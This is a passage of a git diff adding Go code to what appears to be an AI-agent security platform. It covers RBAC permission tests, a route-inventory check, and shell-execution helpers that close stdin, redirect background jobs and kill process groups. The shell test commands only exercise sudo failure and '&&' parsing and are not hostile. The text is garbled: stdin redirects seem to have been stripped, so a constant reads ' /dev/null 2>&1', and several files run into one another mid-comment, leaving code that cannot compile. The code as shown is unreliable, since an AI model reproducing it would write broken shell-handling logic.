"/api/rbac/resource-assignments"); got != "rbac:read" { + t.Fatalf("assignment list permission = %q, want rbac:read", got) + } +} + +func TestMCPInvocationPermissionIsSeparateFromMCPAdministration(t *testing.T) { + if got := permissionForRequest(http.MethodPost, "/api/mcp"); got != "mcp:execute" { + t.Fatalf("MCP invocation permission = %q, want mcp:execute", got) + } + if got := permissionForRequest(http.MethodPut, "/api/external-mcp/example"); got != "mcp:write" { + t.Fatalf("external MCP admin permission = %q, want mcp:write", got) + } +} + +func TestConfigToolsReadAllowsMCPReadWithoutConfigRead(t *testing.T) { + gin.SetMode(gin.TestMode) + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{ + UserID: "viewer", + Username: "viewer", + Permissions: map[string]bool{"mcp:read": true}, + Scope: database.RBACScopeAssigned, + }) + c.Next() + }) + router.Use(RBACMiddleware(nil)) + router.GET("/api/config/tools", func(c *gin.Context) { + c.JSON(http.StatusOK, gin.H{"tools": []any{}}) + }) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/config/tools", nil) + router.ServeHTTP(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status = %d, want %d: %s", w.Code, http.StatusOK, w.Body.String()) + } +} + +func TestWorkflowRunPermissionIsSeparateFromDefinitionManagement(t *testing.T) { + if got := permissionForRequest(http.MethodPost, "/api/workflows/runs/run-1/resume"); got != "workflow:execute" { + t.Fatalf("resume permission = %q, want workflow:execute", got) + } + if got := permissionForRequest(http.MethodPost, "/api/workflows/generate-draft"); got != "workflow:write" { + t.Fatalf("generate draft permission = %q, want workflow:write", got) + } + if got := permissionForRequest(http.MethodPut, "/api/workflows/workflow-1"); got != "workflow:write" { + t.Fatalf("definition permission = %q, want workflow:write", got) + } + if isProcessGlobalMutationPath("/workflows/generate-draft") { + t.Fatalf("generate draft should not be treated as a process-global mutation") + } +} + +func TestRBACDenyHookReceivesDeniedDecision(t *testing.T) { + gin.SetMode(gin.TestMode) + called := false + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{UserID: "viewer", Permissions: map[string]bool{"project:read": true}, Scope: database.RBACScopeAssigned}) + c.Next() + }) + router.Use(RBACMiddlewareWithDenyHook(nil, func(_ *gin.Context, reason, permission string) { + called = reason == "permission_denied" && permission == "project:write" + })) + router.POST("/api/projects", func(c *gin.Context) { c.Status(http.StatusNoContent) }) + w := httptest.NewRecorder() + router.ServeHTTP(w, httptest.NewRequest(http.MethodPost, "/api/projects", nil)) + if w.Code != http.StatusForbidden || !called { + t.Fatalf("denial = status %d, hook called %v", w.Code, called) + } +} + +func TestRBACMiddlewareBindsPermissionSpecificScope(t *testing.T) { + gin.SetMode(gin.TestMode) + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{ + UserID: "mixed", Scope: database.RBACScopeAll, + Permissions: map[string]bool{"project:read": true, "project:write": true}, + PermissionScopes: map[string]string{"project:read": database.RBACScopeAll, "project:write": database.RBACScopeOwn}, + }) + c.Next() + }) + router.Use(RBACMiddleware(nil)) + handler := func(c *gin.Context) { + session, _ := CurrentSession(c) + c.String(http.StatusOK, session.Scope) + } + router.GET("/api/projects/:id", handler) + router.PUT("/api/projects/:id", handler) + + for _, tc := range []struct{ method, want string }{ + {http.MethodGet, database.RBACScopeAll}, + {http.MethodPut, database.RBACScopeOwn}, + } { + w := httptest.NewRecorder() + router.ServeHTTP(w, httptest.NewRequest(tc.method, "/api/projects/p1", nil)) + if w.Code != http.StatusOK || w.Body.String() != tc.want { + t.Fatalf("%s scope response = %d/%q, want 200/%q", tc.method, w.Code, w.Body.String(), tc.want) + } + } +} + +func TestRBACMiddlewareRejectsAssignedScopeForGlobalMonitorAggregates(t *testing.T) { + gin.SetMode(gin.TestMode) + for _, tc := range []struct { + method string + path string + permission string + }{ + {method: http.MethodGet, path: "/api/monitor/stats", permission: "monitor:read"}, + } { + t.Run(tc.path, func(t *testing.T) { + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{ + UserID: "assigned-user", Permissions: map[string]bool{tc.permission: true}, Scope: database.RBACScopeAssigned, + }) + c.Next() + }) + router.Use(RBACMiddleware(&database.DB{})) + router.Handle(tc.method, tc.path, func(c *gin.Context) { c.Status(http.StatusOK) }) + + w := httptest.NewRecorder() + router.ServeHTTP(w, httptest.NewRequest(tc.method, tc.path, nil)) + if w.Code != http.StatusForbidden { + t.Fatalf("status = %d, want %d", w.Code, http.StatusForbidden) + } + }) + } +} + +func TestAssignedScopeCannotMutateProcessGlobalAssets(t *testing.T) { + gin.SetMode(gin.TestMode) + for _, path := range []string{"/api/roles/demo", "/api/skills/demo", "/api/external-mcp/demo", "/api/workflows/demo", "/api/knowledge/items/demo"} { + t.Run(path, func(t *testing.T) { + permission := permissionForRequest(http.MethodPut, path) + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{UserID: "operator", Scope: database.RBACScopeAssigned, Permissions: map[string]bool{permission: true}, PermissionScopes: map[string]string{permission: database.RBACScopeAssigned}}) + c.Next() + }) + router.Use(RBACMiddleware(&database.DB{})) + router.PUT(path, func(c *gin.Context) { c.Status(http.StatusNoContent) }) + w := httptest.NewRecorder() + router.ServeHTTP(w, httptest.NewRequest(http.MethodPut, path, nil)) + if w.Code != http.StatusForbidden { + t.Fatalf("global mutation status = %d, want 403", w.Code) + } + }) + } +} diff --git a/internal/security/route_inventory_test.go b/internal/security/route_inventory_test.go new file mode 100644 index 00000000..c08bfe99 --- /dev/null +++ b/internal/security/route_inventory_test.go @@ -0,0 +1,60 @@ +package security + +import ( + "go/ast" + "go/parser" + "go/token" + "net/http" + "path/filepath" + "strconv" + "testing" +) + +func TestEveryProtectedRouteHasCatalogPermission(t *testing.T) { + file, err := parser.ParseFile(token.NewFileSet(), filepath.Join("..", "app", "app.go"), nil, 0) + if err != nil { + t.Fatal(err) + } + methods := map[string]string{ + "GET": http.MethodGet, "POST": http.MethodPost, "PUT": http.MethodPut, + "PATCH": http.MethodPatch, "DELETE": http.MethodDelete, + } + prefixes := map[string]string{"protected": "", "c2Routes": "/c2", "knowledgeRoutes": "/knowledge"} + found := 0 + ast.Inspect(file, func(node ast.Node) bool { + call, ok := node.(*ast.CallExpr) + if !ok || len(call.Args) == 0 { + return true + } + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return true + } + ident, ok := sel.X.(*ast.Ident) + if !ok { + return true + } + prefix, protected := prefixes[ident.Name] + method, routeMethod := methods[sel.Sel.Name] + literal, literalPath := call.Args[0].(*ast.BasicLit) + if !protected || !routeMethod || !literalPath || literal.Kind != token.STRING { + return true + } + path, err := strconv.Unquote(literal.Value) + if err != nil { + t.Errorf("invalid route literal %s", literal.Value) + return true + } + found++ + permission := permissionForRequest(method, "/api"+prefix+path) + if permission == "" { + t.Errorf("unmapped protected route: %s %s%s", method, prefix, path) + } else if _, ok := PermissionCatalog[permission]; !ok { + t.Errorf("route %s %s%s maps to unknown permission %q", method, prefix, path, permission) + } + return true + }) + if found < 100 { + t.Fatalf("route inventory unexpectedly small: %d", found) + } +} diff --git a/internal/security/shell_background_io.go b/internal/security/shell_background_io.go new file mode 100644 index 00000000..b54b1a0a --- /dev/null +++ b/internal/security/shell_background_io.go @@ -0,0 +1,111 @@ +package security + +import "strings" + +const backgroundJobStdioRedirect = " /dev/null 2>&1" + +// findStandaloneAmpersandPositions 返回不在引号内的独立 & 下标（排除 &&）。 +func findStandaloneAmpersandPositions(command string) []int { + command = strings.TrimSpace(command) + if command == "" { + return nil + } + + var positions []int + inSingleQuote := false + inDoubleQuote := false + escaped := false + + for i := 0; i < len(command); i++ { + r := command[i] + if escaped { + escaped = false + continue + } + if r == '\\' { + escaped = true + continue + } + if r == '\'' && !inDoubleQuote { + inSingleQuote = !inSingleQuote + continue + } + if r == '"' && !inSingleQuote { + inDoubleQuote = !inDoubleQuote + continue + } + if r != '&' || inSingleQuote || inDoubleQuote { + continue + } + if i+1 < len(command) && command[i+1] == '&' { + continue + } + if i > 0 && command[i-1] == '&' { + continue + } + + isStandalone := i == 0 + if !isStandalone { + prev := command[i-1] + isStandalone = prev == ' ' || prev == '\t' || prev == '\n' || prev == '\r' + } + if !isStandalone { + continue + } + if i == len(command)-1 { + positions = append(positions, i) + continue + } + next := command[i+1] + if next == ' ' || next == '\t' || next == '\n' || next == '\r' { + positions = append(positions, i) + } + } + return positions +} + +func segmentHasStdioRedirect(segment string) bool { + lower := strings.ToLower(strings.TrimSpace(segment)) + if lower == "" { + return false + } + if strings.Contains(lower, ">/dev/null") || strings.Contains(lower, "2>/dev/null") { + return true + } + if strings.Contains(lower, "&>") || strings.Contains(lower, "&>>") { + return true + } + if strings.Contains(lower, "2>&1") && strings.Contains(lower, "/dev/null") { + return true + } + return false +} + +// RedirectBackgroundJobStdio 为每个独立 & 前的后台段注入 /dev/null 2>&1， +// 避免后台子进程占用 execute/exec 管道导致挂死。 +func RedirectBackgroundJobStdio(command string) string { + positions := findStandaloneAmpersandPositions(command) + if len(positions) == 0 { + return command + } + + out := command + for j := len(positions) - 1; j >= 0; j-- { + i := positions[j] + before := out[:i] + after := out[i:] + trimmed := strings.TrimRight(before, " \t\r\n") + if segmentHasStdioRedirect(trimmed) { + continue + } + trailing := before[len(trimmed):] + out = trimmed + backgroundJobStdioRedirect + trailing + after + } + return out +} + +// PrepareShellCommandForExecute 组合 execute/exec 用的非交互包装与后台 IO 重定向。 +// 须先注入 exec /dev/null 2>&1 &") { + t.Fatalf("expected redirect before &: %q", out) + } + if !strings.Contains(out, "echo started") { + t.Fatalf("foreground tail preserved: %q", out) + } +} + +func TestRedirectBackgroundJobStdio_trailingOnly(t *testing.T) { + in := "sleep 120 &" + out := RedirectBackgroundJobStdio(in) + want := "sleep 120 /dev/null 2>&1 &" + if strings.TrimSpace(out) != want { + t.Fatalf("got %q want %q", out, want) + } +} + +func TestRedirectBackgroundJobStdio_skipsAlreadyRedirected(t *testing.T) { + in := "sleep 1 >/dev/null 2>&1 & echo ok" + out := RedirectBackgroundJobStdio(in) + if out != in { + t.Fatalf("should not double-redirect: %q", out) + } +} + +func TestRedirectBackgroundJobStdio_skipsAndAnd(t *testing.T) { + in := "test -f /etc/passwd && echo ok" + out := RedirectBackgroundJobStdio(in) + if out != in { + t.Fatalf("&& must not be treated as background &: %q", out) + } +} + +func TestPrepareShellCommandForExecute(t *testing.T) { + out := PrepareShellCommandForExecute("java -jar x & echo hi") + if !strings.Contains(out, "exec /dev/null 2>&1 &") { + t.Fatalf("missing background redirect: %q", out) + } +} + +func TestIsBackgroundShellCommand_usesSharedParser(t *testing.T) { + if !IsBackgroundShellCommand("sleep 1 &") { + t.Fatal("trailing & should be background") + } + if IsBackgroundShellCommand("sleep 1 & echo hi") { + t.Fatal("mixed should not be fully background") + } +} diff --git a/internal/security/shell_execute_stream.go b/internal/security/shell_execute_stream.go new file mode 100644 index 00000000..02c5cb74 --- /dev/null +++ b/internal/security/shell_execute_stream.go @@ -0,0 +1,211 @@ +package security + +import ( + "context" + "errors" + "fmt" + "io" + "os/exec" + "sync" + + "github.com/cloudwego/eino/adk/filesystem" + "github.com/cloudwego/eino/schema" +) + +// ConfigureShellCmdForAgentExecute 与 exec 工具一致：非交互 stdin、pager/TERM 环境、独立进程组。 +func ConfigureShellCmdForAgentExecute(cmd *exec.Cmd) { + if cmd == nil { + return + } + applyDefaultTerminalEnv(cmd) + attachNonInteractiveStdin(cmd) + _ = prepareShellCmdSession(cmd) +} + +// TerminateShellCmdTree 尽力终止 shell 及其子进程组（与 exec/execute 超时取消一致）。 +func TerminateShellCmdTree(cmd *exec.Cmd) { + terminateCmdTree(cmd) +} + +// TerminateShellCmdSession 使用 Start 时缓存的进程组 ID 终止（shell 已退出时仍有效）。 +func TerminateShellCmdSession(session *ShellSession) { + TerminateShellSession(session) +} + +// EinoStreamingShell 为 Eino ADK execute 工具提供流式 shell，行为与 exec 对齐： +// 并发读取 stdout/stderr（定长块，非按行），避免官方 local.ExecuteStreaming 先排空 stdout +// 导致 stderr 错误（如 sudo 密码提示）长时间不可见、UI 一直显示「执行中」。 +type EinoStreamingShell struct{} + +// NewEinoStreamingShell 创建 execute 流式 shell 实现。 +func NewEinoStreamingShell() *EinoStreamingShell { + return &EinoStreamingShell{} +} + +// ExecuteStreaming 实现 filesystem.StreamingShell。 +func (s *EinoStreamingShell) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) { + if input == nil || input.Command == "" { + return nil, fmt.Errorf("command is required") + } + + sr, w := schema.Pipe[*filesystem.ExecuteResponse](100) + if input.RunInBackendGround { + go runShellInBackground(ctx, input.Command, w) + return sr, nil + } + go streamShellForeground(ctx, input.Command, w) + return sr, nil +} + +func runShellInBackground(ctx context.Context, command string, w *schema.StreamWriter[*filesystem.ExecuteResponse]) { + defer w.Close() + + command = PrepareShellCommandForExecute(command) + cmd := exec.CommandContext(ctx, "/bin/sh", "-c", command) + applyDefaultTerminalEnv(cmd) + attachNonInteractiveStdin(cmd) + stdout, err := cmd.StdoutPipe() + if err != nil { + _ = w.Send(nil, fmt.Errorf("failed to create stdout pipe: %w", err)) + return + } + stderr, err := cmd.StderrPipe() + if err != nil { + _ = stdout.Close() + _ = w.Send(nil, fmt.Errorf("failed to create stderr pipe: %w", err)) + return + } + session, err := StartShellSession(cmd) + if err != nil { + _ = stdout.Close() + _ = stderr.Close() + _ = w.Send(nil, fmt.Errorf("failed to start command: %w", err)) + return + } + + done := make(chan struct{}) + go func() { + drainShellPipes(stdout, stderr) + _ = session.Wait() + close(done) + }() + + select { + case <-done: + case <-ctx.Done(): + TerminateShellCmdSession(session) + } + + exitCode := 0 + _ = w.Send(&filesystem.ExecuteResponse{ + Output: "command started in background\n", + ExitCode: &exitCode, + }, nil) +} + +func drainShellPipes(stdout, stderr io.Reader) { + var wg sync.WaitGroup + wg.Add(2) + go func() { + defer wg.Done() + _, _ = io.Copy(io.Discard, stdout) + }() + go func() { + defer wg.Done() + _, _ = io.Copy(io.Discard, stderr) + }() + wg.Wait() +} + +func streamShellForeground(ctx context.Context, command string, w *schema.StreamWriter[*filesystem.ExecuteResponse]) { + defer w.Close() + + command = PrepareShellCommandForExecute(command) + cmd := exec.CommandContext(ctx, "/bin/sh", "-c", command) + applyDefaultTerminalEnv(cmd) + attachNonInteractiveStdin(cmd) + + stdoutPipe, err := cmd.StdoutPipe() + if err != nil { + _ = w.Send(nil, fmt.Errorf("failed to create stdout pipe: %w", err)) + return + } + stderrPipe, err := cmd.StderrPipe() + if err != nil { + _ = stdoutPipe.Close() + _ = w.Send(nil, fmt.Errorf("failed to create stderr pipe: %w", err)) + return + } + session, err := StartShellSession(cmd) + if err != nil { + _ = stdoutPipe.Close() + _ = stderrPipe.Close() + _ = w.Send(nil, fmt.Errorf("failed to start command: %w", err)) + return + } + + stopWatch := make(chan struct{}) + go func() { + select { + case <-ctx.Done(): + TerminateShellCmdSession(session) + case <-stopWatch: + } + }() + defer close(stopWatch) + + chunks := make(chan string, 64) + var wg sync.WaitGroup + readFn := func(r io.Reader) { + defer wg.Done() + buf := make([]byte, 8192) + for { + n, readErr := r.Read(buf) + if n > 0 { + chunks <- string(buf[:n]) + } + if readErr != nil { + return + } + } + } + + wg.Add(2) + go readFn(stdoutPipe) + go readFn(stderrPipe) + go func() { + wg.Wait() + close(chunks) + }() + + hadOutput := false + for chunk := range chunks { + if chunk == "" { + continue + } + hadOutput = true + if w.Send(&filesystem.ExecuteResponse{Output: chunk}, nil) { + TerminateShellCmdSession(session) + return + } + } + + waitErr := session.Wait() + if waitErr == nil { + exitCode := 0 + _ = w.Send(&filesystem.ExecuteResponse{ExitCode: &exitCode}, nil) + return + } + + var exitError *exec.ExitError + if errors.As(waitErr, &exitError) { + exitCode := exitError.ExitCode() + resp := &filesystem.ExecuteResponse{ExitCode: &exitCode} + if !hadOutput { + resp.Output = FormatCommandFailureResult(exitCode, "") + } + _ = w.Send(resp, nil) + return + } + _ = w.Send(nil, fmt.Errorf("command failed: %w", waitErr)) +} diff --git a/internal/security/shell_execute_stream_test.go b/internal/security/shell_execute_stream_test.go new file mode 100644 index 00000000..938f2994 --- /dev/null +++ b/internal/security/shell_execute_stream_test.go @@ -0,0 +1,152 @@ +package security + +import ( + "context" + "errors" + "io" + "strings" + "testing" + "time" + + "github.com/cloudwego/eino/adk/filesystem" +) + +func TestEinoStreamingShell_StreamsStderrBeforeStdoutEOF(t *testing.T) { + shell := NewEinoStreamingShell() + cmd := PrepareNonInteractiveShellCommand("echo err-only >&2; exit 1") + sr, err := shell.ExecuteStreaming(context.Background(), &filesystem.ExecuteRequest{Command: cmd}) + if err != nil { + t.Fatalf("ExecuteStreaming: %v", err) + } + defer sr.Close() + + start := time.Now() + var got strings.Builder + for { + resp, rerr := sr.Recv() + if errors.Is(rerr, io.EOF) { + break + } + if rerr != nil { + t.Fatalf("recv: %v", rerr) + } + if resp != nil && resp.Output != "" { + got.WriteString(resp.Output) + } + } + if time.Since(start) > 3*time.Second { + t.Fatalf("expected fast completion, took %v", time.Since(start)) + } + if !strings.Contains(got.String(), "err-only") { + t.Fatalf("expected stderr in output, got: %q", got.String()) + } +} + +func TestEinoStreamingShell_SudoFailsFast(t *testing.T) { + shell := NewEinoStreamingShell() + cmd := PrepareNonInteractiveShellCommand("sudo whoami && sudo cat /etc/os-release") + sr, err := shell.ExecuteStreaming(context.Background(), &filesystem.ExecuteRequest{Command: cmd}) + if err != nil { + t.Fatalf("ExecuteStreaming: %v", err) + } + defer sr.Close() + + start := time.Now() + var got strings.Builder + for { + resp, rerr := sr.Recv() + if errors.Is(rerr, io.EOF) { + break + } + if rerr != nil { + t.Fatalf("recv: %v", rerr) + } + if resp == nil { + continue + } + got.WriteString(resp.Output) + } + if time.Since(start) > 5*time.Second { + t.Fatalf("sudo should fail quickly, took %v output=%q", time.Since(start), got.String()) + } + out := got.String() + if strings.Contains(out, "command exited with non-zero code") { + t.Fatalf("legacy exit line present: %q", out) + } + if !strings.Contains(out, "sudo") && !strings.Contains(out, "password") && !strings.Contains(out, "terminal") { + t.Fatalf("expected sudo error text, got: %q", out) + } +} + +func TestEinoStreamingShell_StderrWhileStdoutBlocks(t *testing.T) { + shell := NewEinoStreamingShell() + // 模拟 sudo：stderr 先有输出，stdout 侧进程仍挂起；旧 eino local 在首包 stderr 前不会向流写任何内容。 + cmd := PrepareNonInteractiveShellCommand(`echo "password prompt" >&2; sleep 30`) + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + + sr, err := shell.ExecuteStreaming(ctx, &filesystem.ExecuteRequest{Command: cmd}) + if err != nil { + t.Fatalf("ExecuteStreaming: %v", err) + } + defer sr.Close() + + start := time.Now() + var got strings.Builder + for { + resp, rerr := sr.Recv() + if errors.Is(rerr, io.EOF) { + break + } + if rerr != nil { + break + } + if resp != nil && resp.Output != "" { + got.WriteString(resp.Output) + if strings.Contains(got.String(), "password prompt") { + break + } + } + } + if time.Since(start) > 1500*time.Millisecond { + t.Fatalf("expected stderr promptly, took %v output=%q", time.Since(start), got.String()) + } + if !strings.Contains(got.String(), "password prompt") { + t.Fatalf("expected early stderr, got: %q", got.String()) + } +} + +// TestEinoStreamingShell_BackgroundJobDoesNotHoldPipe 模拟 cmd & 后继续前台逻辑：重定向后应快速结束。 +func TestEinoStreamingShell_BackgroundJobDoesNotHoldPipe(t *testing.T) { + if testing.Short() { + t.Skip("skipping shell integration in -short") + } + shell := NewEinoStreamingShell() + cmd := `(sh -c 'printf x; sleep 120') & echo started; sleep 0` + sr, err := shell.ExecuteStreaming(context.Background(), &filesystem.ExecuteRequest{Command: cmd}) + if err != nil { + t.Fatalf("ExecuteStreaming: %v", err) + } + defer sr.Close() + + start := time.Now() + var got strings.Builder + for { + resp, rerr := sr.Recv() + if errors.Is(rerr, io.EOF) { + break + } + if rerr != nil { + t.Fatalf("recv: %v", rerr) + } + if resp != nil && resp.Output != "" { + got.WriteString(resp.Output) + } + } + if time.Since(start) > 3*time.Second { + t.Fatalf("expected fast completion, took %v output=%q", time.Since(start), got.String()) + } + if !strings.Contains(got.String(), "started") { + t.Fatalf("expected foreground echo, got: %q", got.String()) + } +} diff --git a/internal/security/shell_noninteractive.go b/internal/security/shell_noninteractive.go new file mode 100644 index 00000000..c6c567f0 --- /dev/null +++ b/internal/security/shell_noninteractive.go @@ -0,0 +1,163 @@ +package security + +import ( + "fmt" + "os" + "os/exec" + "strings" + "sync" + "time" +) + +// ShellNoOutputTimeoutMessage 长时间无新 stdout/stderr 时的提示（软失败，模型可见）。 +func ShellNoOutputTimeoutMessage(idleSec int) string { + return fmt.Sprintf(`命令已终止：超过 %d 秒没有新的输出，疑似在等待交互输入或已挂起。 + +长时静默任务请使用末尾 & 后台运行，或增大 agent.shell_no_output_timeout_seconds（-1=关闭此检测）。 + +Command terminated: no new output for %d seconds (possible interactive wait or hung process).`, idleSec, idleSec) +} + +// ShellInactivityWatch 在 noOutputSec 内无任何新输出时向 expired 发送信号；每次 Bump 重置计时。 +// 与「仅有首包输出就永久取消计时」不同，可兜住 sudo 打印 Password 提示后继续挂起等情况。 +type ShellInactivityWatch struct { + Sec int + mu sync.Mutex + timer *time.Timer + Expired chan struct{} +} + +func NewShellInactivityWatch(noOutputSec int) *ShellInactivityWatch { + sec := ResolveShellNoOutputTimeoutSeconds(noOutputSec) + if sec <= 0 { + return nil + } + w := &ShellInactivityWatch{ + Sec: sec, + Expired: make(chan struct{}, 1), + } + w.Bump() + return w +} + +func (w *ShellInactivityWatch) Bump() { + if w == nil || w.Sec <= 0 { + return + } + w.mu.Lock() + defer w.mu.Unlock() + if w.timer != nil { + w.timer.Stop() + } + w.timer = time.AfterFunc(time.Duration(w.Sec)*time.Second, func() { + select { + case w.Expired <- struct{}{}: + default: + } + }) +} + +func (w *ShellInactivityWatch) Stop() { + if w == nil { + return + } + w.mu.Lock() + defer w.mu.Unlock() + if w.timer != nil { + w.timer.Stop() + w.timer = nil + } +} + +// ResolveShellNoOutputTimeoutSeconds：0=默认 300（5 分钟）；-1=关闭；>0=自定义。 +func ResolveShellNoOutputTimeoutSeconds(sec int) int { + if sec < 0 { + return 0 + } + if sec == 0 { + return 300 + } + return sec +} + +// PrependNonInteractiveShellExports 为 sh -c 注入通用非交互环境（pager 等），不维护命令黑名单。 +func PrependNonInteractiveShellExports(shellCommand string) string { + if strings.TrimSpace(shellCommand) == "" { + return shellCommand + } + upper := strings.ToUpper(shellCommand) + var pairs []string + add := func(key, val string) { + if strings.Contains(upper, strings.ToUpper(key)) { + return + } + pairs = append(pairs, key+"="+val) + } + add("GIT_PAGER", "cat") + add("PAGER", "cat") + add("SYSTEMD_PAGER", "cat") + add("DEBIAN_FRONTEND", "noninteractive") + if len(pairs) == 0 { + return shellCommand + } + return "export " + strings.Join(pairs, " ") + "\n" + shellCommand +} + +// PrependNonInteractiveStdinRedirect 为 sh -c 关闭 stdin（与 attachNonInteractiveStdin 等价）， +// 使 read/input()/sudo -S 等从 stdin 读取的程序快速失败而非挂起。已含 "`)) + attachNonInteractiveStdin(cmd) + + start := time.Now() + out, err := cmd.CombinedOutput() + elapsed := time.Since(start) + if elapsed > 2*time.Second { + t.Fatalf("read with closed stdin took %v, want <2s", elapsed) + } + if err != nil { + t.Fatalf("unexpected error: %v output=%q", err, out) + } + if !strings.Contains(string(out), "x=<>") { + t.Fatalf("unexpected output: %q", out) + } +} + +// TestNonInteractiveStdinReadBlocksWithoutRedirect 对照：stdin 为永不写入的管道时 read 会挂起。 +func TestNonInteractiveStdinReadBlocksWithoutRedirect(t *testing.T) { + if testing.Short() { + t.Skip("skipping shell integration in -short") + } + r, w, err := os.Pipe() + if err != nil { + t.Fatal(err) + } + defer r.Close() + // 保持 w 打开且不写数据，模拟「等待用户输入」 + + cmd := exec.Command("sh", "-c", `read x; echo done`) + cmd.Stdin = r + + done := make(chan error, 1) + go func() { done <- cmd.Run() }() + + select { + case err := <-done: + t.Fatalf("expected hang, but command finished: %v", err) + case <-time.After(500 * time.Millisecond): + if cmd.Process != nil { + _ = cmd.Process.Kill() + } + _ = w.Close() + <-done // 等待 goroutine 退出 + } +} diff --git a/internal/security/shell_session.go b/internal/security/shell_session.go new file mode 100644 index 00000000..72cb15e1 --- /dev/null +++ b/internal/security/shell_session.go @@ -0,0 +1,47 @@ +package security + +import "os/exec" + +// ShellSession 在 Start 时记录根 shell 的进程组 ID，取消/超时时可杀整组（即使 cmd.Process 已失效）。 +type ShellSession struct { + Cmd *exec.Cmd + rootPID int +} + +// StartShellSession 配置独立进程组并启动 shell，缓存 rootPID（Unix 下即 PGID）。 +func StartShellSession(cmd *exec.Cmd) (*ShellSession, error) { + if err := prepareShellCmdSession(cmd); err != nil { + return nil, err + } + if err := cmd.Start(); err != nil { + return nil, err + } + pid := 0 + if cmd.Process != nil { + pid = cmd.Process.Pid + } + return &ShellSession{Cmd: cmd, rootPID: pid}, nil +} + +// Wait 等待 shell 退出。 +func (s *ShellSession) Wait() error { + if s == nil || s.Cmd == nil { + return nil + } + return s.Cmd.Wait() +} + +// Terminate 终止 shell 及其进程组。 +func (s *ShellSession) Terminate() { + if s == nil { + return + } + terminateProcessGroup(s.rootPID, s.Cmd) +} + +// TerminateShellSession 终止由 StartShellSession 启动的会话。 +func TerminateShellSession(session *ShellSession) { + if session != nil { + session.Terminate() + } +} diff --git a/internal/security/shell_session_test.go b/internal/security/shell_session_test.go new file mode 100644 index 00000000..40520e3b --- /dev/null +++ b/internal/security/shell_session_test.go @@ -0,0 +1,65 @@ +package security + +import ( + "context" + "os/exec" + "runtime" + "testing" + "time" +) + +func TestShellSession_TerminateUsesCachedRootPID(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("unix process group kill") + } + + cmd := exec.Command("sh", "-c", "sleep 300") + ConfigureShellCmdForAgentExecute(cmd) + + session, err := StartShellSession(cmd) + if err != nil { + t.Fatalf("StartShellSession: %v", err) + } + + time.Sleep(100 * time.Millisecond) + session.Terminate() + + done := make(chan error, 1) + go func() { done <- session.Wait() }() + + select { + case <-done: + case <-time.After(5 * time.Second): + t.Fatal("session did not finish within 5s after Terminate") + } +} + +func TestShellSession_TerminateAfterContextCancel(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("unix process group kill") + } + + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + cmd := exec.CommandContext(ctx, "sh", "-c", "sleep 300") + ConfigureShellCmdForAgentExecute(cmd) + + session, err := StartShellSession(cmd) + if err != nil { + t.Fatalf("StartShellSession: %v", err) + } + + time.Sleep(100 * time.Millisecond) + cancel() + TerminateShellCmdSession(session) + + done := make(chan error, 1) + go func() { done <- session.Wait() }() + + select { + case <-done: + case <-time.After(5 * time.Second): + t.Fatal("session did not finish within 5s after cancel+terminate") + } +} diff --git a/internal/security/workflow_package_rbac_test.go b/internal/security/workflow_package_rbac_test.go new file mode 100644 index 00000000..2f1fb1bc --- /dev/null +++ b/internal/security/workflow_package_rbac_test.go @@ -0,0 +1,20 @@ +package security + +import ( + "net/http" + "testing" +) + +func TestWorkflowPackageRoutesHaveExplicitWorkflowPermissions(t *testing.T) { + if got := permissionForRequest(http.MethodGet, "/api/workflows/:id/package"); got != "workflow:read" { + t.Fatalf("export permission=%q", got) + } + for _, path := range []string{"/api/workflow-package-inspections", "/api/workflow-package-inspections/:inspectionId", "/api/workflow-package-imports", "/api/workflow-package-imports/:importId"} { + if got := permissionForRequest(http.MethodGet, path); got != "workflow:write" { + t.Fatalf("%s permission=%q", path, got) + } + } + if !isProcessGlobalMutationPath("/workflow-package-imports") || !isProcessGlobalMutationPath("/workflow-package-inspections") { + t.Fatal("package mutations must require all-resource scope") + } +}